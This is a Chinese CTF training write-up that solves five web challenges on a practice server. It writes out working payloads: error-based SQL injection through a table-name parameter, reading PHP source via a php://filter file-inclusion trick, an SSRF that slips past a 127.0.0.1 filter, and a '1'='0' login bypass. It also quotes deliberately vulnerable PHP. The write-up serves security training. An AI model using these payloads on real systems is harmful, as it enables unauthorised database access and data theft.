#writeup#平安科技CTF培训-2017.10.21
http://game.rootk.pw:51001/web1/
并不是签到题!!!
my passwordmy password: G00dPassw0rD不是flag。
robots.txtRobots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
robots.txt文件是一个文本文件,使用任何一个常见的文本编辑器,比如Windows系统自带的Notepad,就可以创建和编辑它。robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。建议,仅当您的网站包含不希望被搜索引擎收录的内容时,才需要使用robots.txt文件。如果您希望搜索引擎收录网站上所有内容,请勿建立robots.txt文件。
如果将网站视为酒店里的一个房间,robots.txt就是主人在房间门口悬挂的“请勿打扰”或“欢迎打扫”的提示牌。这个文件告诉来访的搜索引擎哪些房间可以进入和参观,哪些房间因为存放贵重物品,或可能涉及住户及访客的隐私而不对搜索引擎开放。但robots.txt不是命令,也不是防火墙,如同守门人无法阻止窃贼等恶意闯入者。
继续进入secret_flag_file.php:
secret_flag_file.php说了要post刚才的password,拿到flag。
Got it !Done.
PS:使用FireFox的Hackbar插件,就能实现;或者使用BurpSuite。
http://game.rootk.pw:51001/web2/
SQL注入+代码审计。
首先看代码:
/*这里说明表名是#web2#,并不包含flag。
mysql:
create table `#web2#`(
pid INT(11) NOT NULL AUTO_INCREMENT,
name VARCHAR(255) NOT NULL UNIQUE,
PRIMARY KEY(pid)
);
*/
php code:
$db = array(
'DB_HOST' => 'localhost',
'DB_USER' => 'web2',
'DB_PWD' => 'xxx',
'DB_CHAR' => 'utf8', #使用了utf8字符集的数据库,说明宽字节注入没戏
'DB_NAME' => 'xxx',
);
$conn = mysql_connect($db['DB_HOST'], $db['DB_USER'], $db['DB_PWD']) or exit(mysql_error());
mysql_select_db($db['DB_NAME'], $conn) or exit(mysql_error());
mysql_query("SET NAMES " . $db['DB_CHAR']);
$data = addslashes($_GET['data']);
/*SQL语句被换行了,说明是尾部注释(;或者#或者--)没戏
$sql = "UPDATE `{$data}`
SET `name`='test'
WHERE pid=1";
echo $sql;
$res = mysql_query($sql) or exit(mysql_error());//说明需要构造报错型注入
mysql_close($conn);
//综合几点,只能在表名本身做手脚了
PS:推荐大家一个练习CTF的本地环境。
DVWA。
相关配置会在稍后整理出来。
因为搞这个浪费了不少时间然后发现其实是Apache有个坑,这货特喵居然默认没有加载PHP模块。知道这个之后一分钟就搞定了。
先看update语句的一个姿势:
mysql> show tables;
+----------------+
| Tables_in_dvwa |
+----------------+
| #web2# |
| guestbook |
| users |
+----------------+
3 rows in set (0.00 sec)
mysql> update `#web2#` t left join (select * from users) y on t.`name` = y.`user` SET `name` = 'test' where pid = 9999;
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0
说明表名部分可以做左连接查询, 而红色部分就是我们要做注入的参数。
需要触发报错注入,找一个payload,Exp(~(select * from (select user())a)) (详情看CTF in web)
http://game.rootk.pw:51001/web2/
?data=%23web2%23` t left join (select Exp(~(select * from (select user())a))) y on 11 = y.`xxx
成功注入:
成功注入那剩下的步骤就是利用information_schema来获取表名和列名, 最后:
获取表名 获取列名Done.
http://game.rootk.pw:51001/web3/
http://game.rootk.pw:51001/web3/index.php?m=login
文件上传漏洞。
php://filter/convert.base64_encode/resource=login
分析:
- 尝试注入,貌似没什么结果
- url是http://game.rootk.pw:51001/web3/index.php?m=login, m 一般就是module, 在php的MVC模式设计中, m = login 一般代表 include(login.php)
- 确认login.php 存在,并且html代码和index.php?m=login一致, 那就存在文件包含
- 利用php://filter/convert.base64-encode/resource=index实现读取文件源码(注意.php留着和去掉都要试)
base64解码后,得到index.php:
base64解码- 同样的方法得到login.php的代码
- 发现了flag.php,同样的方法读取代码
ASCII解码就得到flag:
ACSII解码Done.
http://game.rootk.pw:51001/web4/
分析:
- 提示flag_file.php
- 进入flag_file.php, 看到127.0.0.1, 再留意之前index.php的参数url,不用多想,这一定是SSRF的利用
- 进一步验证了是SSRF:
- 直接使用127.0.0.1 不行,可能做了关键字过滤
- 把127.0.0.1转成整数或者localhost,成功拿到flag
Done.
http://game.rootk.pw:51001/web5/
一上来二话不说,万能口令走起(用户名和密码都是1'='0),拿到flag
select * from users where username='1'='0' and password='1'='0'
username='1'='0' => "0"="0" => true
password='1'='0' => "0"="0" => true
mysql中字符串(非1)和1比较都等于0
当然,也可以都写'-'
MySQL黑魔法:隐式转换。
之后会另开一文详细介绍。